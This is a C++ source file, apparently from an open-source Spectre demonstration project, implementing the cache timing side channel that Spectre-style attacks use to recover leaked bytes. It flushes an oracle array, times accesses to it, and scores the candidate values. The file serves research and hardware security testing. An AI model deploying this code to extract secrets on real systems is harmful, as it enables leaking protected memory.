blob: 598fb33e696bf86c5692e60a7b4c9047d065cae9 [file] [log] [blame]
/*
* Copyright 2019 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <list>
#include <vector>
#include "cache_sidechannel.h"
#include "instr.h"
#include "utils.h"
// Returns the indices of the biggest and second-biggest values in the range.
template <typename RangeT>
static std::pair<size_t, size_t> top_two_indices(const RangeT &range) {
std::pair<size_t, size_t> result = {0, 0}; // first biggest, second biggest
for (size_t i = 0; i < range.size(); ++i) {
if (range[i] > range[result.first]) {
result.second = result.first;
result.first = i;
} else if (range[i] > range[result.second]) {
result.second = i;
}
}
return result;
}
const std::array<BigByte, 256> &CacheSideChannel::GetOracle() const {
return padded_oracle_array_->oracles_;
}
void CacheSideChannel::FlushOracle() const {
// Flush out entries from the timing array. Now, if they are loaded during
// speculative execution, that will warm the cache for that entry, which
// can be detected later via timing analysis.
for (BigByte &b : padded_oracle_array_->oracles_) {
CLFlush(&b);
}
}
std::pair<bool, char> CacheSideChannel::RecomputeScores(
char safe_offset_char) {
std::array<uint64_t, 256> latencies = {};
size_t best_val = 0, runner_up_val = 0;
// Here's the timing side channel: find which char was loaded by measuring
// latency. Indexing into oracle causes the relevant region of
// memory to be loaded into cache, which makes it faster to load again than
// it is to load entries that had not been accessed.
// Only two offsets will have been accessed: safe_offset_char (which we
// ignore), and i.
// Note: if the character at safe_offset_char is the same as the character we
// want to know at i, the data from this run will be useless, but later runs
// will use a different safe_offset_char.
for (size_t i = 0; i < 256; ++i) {
// Some CPUs (e.g. AMD Ryzen 5 PRO 2400G) prefetch cache lines, rendering
// them all equally fast. Therefore it is necessary to confuse them by
// accessing the offsets in a pseudo-random order.
size_t mixed_i = ((i * 167) + 13) & 0xFF;
const void *timing_entry = &GetOracle()[mixed_i];
latencies[mixed_i] = ReadLatency(timing_entry);
}
std::list<uint64_t> sorted_latencies_list(latencies.begin(), latencies.end());
// We have to use the std::list::sort implementation, because invocations of
// std::sort, std::stable_sort, std::nth_element and std::partial_sort when
// compiled with optimizations intervene with the neural network based AMD
// memory disambiguation dynamic predictor and the Spectre v4 example fails
// on AMD Ryzen 5 PRO 2400G.
sorted_latencies_list.sort();
std::vector<uint64_t> sorted_latencies(sorted_latencies_list.begin(),
sorted_latencies_list.end());
uint64_t median_latency = sorted_latencies[128];
// The difference between a cache-hit and cache-miss times is significantly
// different across platforms. Therefore we must first compute its estimate
// using the safe_offset_char which should be a cache-hit.
uint64_t hitmiss_diff = median_latency - latencies[
static_cast<size_t>(static_cast<unsigned char>(safe_offset_char))];
int hitcount = 0;
for (size_t i = 0; i < 256; ++i) {
if (latencies[i] < median_latency - hitmiss_diff / 2 &&
i != safe_offset_char) {
++hitcount;
}
}
// If there is not exactly one hit, we consider that sample invalid and
// skip it.
if (hitcount == 1) {
for (size_t i = 0; i < 256; ++i) {
if (latencies[i] < median_latency - hitmiss_diff / 2 &&
i != safe_offset_char) {
++scores_[i];
}
}
}
std::tie(best_val, runner_up_val) = top_two_indices(scores_);
return std::make_pair((scores_[best_val] > 2 * scores_[runner_up_val] + 40),
best_val);
}
std::pair<bool, char> CacheSideChannel::AddHitAndRecomputeScores() {
static size_t additional_offset_counter = 0;
size_t mixed_i = ((additional_offset_counter * 167) + 13) & 0xFF;
ForceRead(GetOracle().data() + mixed_i);
additional_offset_counter = (additional_offset_counter + 1) % 256;
return RecomputeScores(static_cast<char>(mixed_i));
}